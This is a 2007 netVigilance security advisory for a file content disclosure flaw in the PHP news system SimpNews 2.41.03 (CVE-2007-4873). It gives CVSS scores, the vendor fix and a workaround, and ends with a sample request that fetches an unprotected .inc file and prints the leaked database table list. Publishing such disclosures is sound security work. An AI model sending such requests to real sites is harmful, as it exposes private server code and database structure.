simpnews24103-fdisclose.txt

` netVigilance Security Advisory #69  
  
SimpNews version 2.41.03 File Content Disclosure Vulnerability  
  
Description:  
SimpNews is a news system written in PHP. Features: Data stored in MySQL, admin interface, support for multiple languages, support for multiple instances in one database, own header, multiple layout settings, support for BBCode andsmilies, you can assin an icon graphic to every news entry, you can attach a file to news entries, entries can be put in categories, users can subscribe to get news sent by email, search entries, users can post comments on news entries, event calendar, newsticker, option to let users propose news entries.  
External References:   
Mitre CVE: CVE-2007-4873  
NVD NIST: CVE-2007-4873  
OSVDB: ID requested but no answer received  
  
Summary:   
SimpNews is a news system written in PHP.  
Security problems in the product can be exploited by attackers to screen the file content and disclose potentially sensitive information.   
  
Advisory URL:   
http://www.netvigilance.com/advisory0069  
  
Release Date:  
09/25/2007  
  
CVSS Version 2 Metrics:  
  
Base Metrics:  
  
  
Exploitability Metrics:  
  
  
  
Access Vector:  
Network  
  
  
Access Complexity:  
Low  
  
  
Authentication:  
None  
  
Impact Metrics:  
  
  
  
Confidentiality Impact:  
Partial  
  
  
Integrity Impact:  
None  
  
  
Availability Impact:  
None  
Temporal Metrics:  
  
  
Exploitability:  
Functional  
  
Remediation Level:  
Official Fix  
  
Report Confidence:  
Confirmed  
  
CVSS Version 2 Vectors:  
  
Base Vector:  
"AV:N/AC:L/Au:N/C:P/I:N/A:N"  
Temporal Vector:  
"E:F/RL:OF/RC:C"  
  
  
CVSS Version 2 Scores:  
  
Base Score:  
5  
  
Impact Subscore:  
2.9  
  
Exploitability Subscore:  
10  
Temporal Score:  
4.1  
SecureScout Testcase ID:  
TC 17988  
  
Vulnerable Systems:  
SimpNews version 2.41.03  
  
Vulnerability Type:  
Program flaws - The product scripts have flaws which allow attackers to screen the file content with potentially sensitive information.   
  
Vendor:  
Bosch IT-Consulting  
  
Vendor Status:   
The Vendor has confirmed the problem and has release new version 2.42.01 that addresses the problem. New version of product was tested and we can confirm that all vulnerabilities were solved. For more information see vendor announcement. To download the latest version go to vendors product download area.  
Workaround:  
Change files permissions or modify .htaccess file (this will work only for the apache servers).  
Example:   
Information Disclosure Vulnerability:  
  
Also available for any *.inc file  
REQUEST:  
http://[TARGET]/[PRODUCT DIRECTORY]/admin/includes/dbtables.inc  
REPLY:  
<?php  
/***************************************************************************  
* (c)2002-2004 Boesch IT-Consulting ([email protected])  
***************************************************************************/  
$dbtables=array(  
"announce",  
"announce_attachs",  
"ansearch",  
"cat_adm",  
"categories",  
"comments",  
"data",  
"emoticons",  
"events",  
"events_attachs",  
"evsearch",  
"failed_logins",  
"failed_notify",  
"fileextensions",  
"files",  
"filetypedescription",  
"freemailer",  
"globalmsg",  
"hn6cats",  
"icons",  
"iplog",  
"layout",  
"leacher",  
"mimetypes",  
"misc",  
"news_attachs",  
"newsletteradmins",  
"newsubnotify",  
"notifylist",  
"poster",  
"ratings",  
"search",  
"session",  
"session2",  
"settings",  
"subscriptions",  
"texts",  
"tmpdata",  
"tmpevents",  
"tmpevents_attachs",  
"tmpnews_attachs",  
"users",  
"wap_catlist",  
"rss_catlist"  
);  
?>  
Credits:   
Jesper Jurcenoks  
Co-founder netVigilance, Inc  
www.netvigilance.com  
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`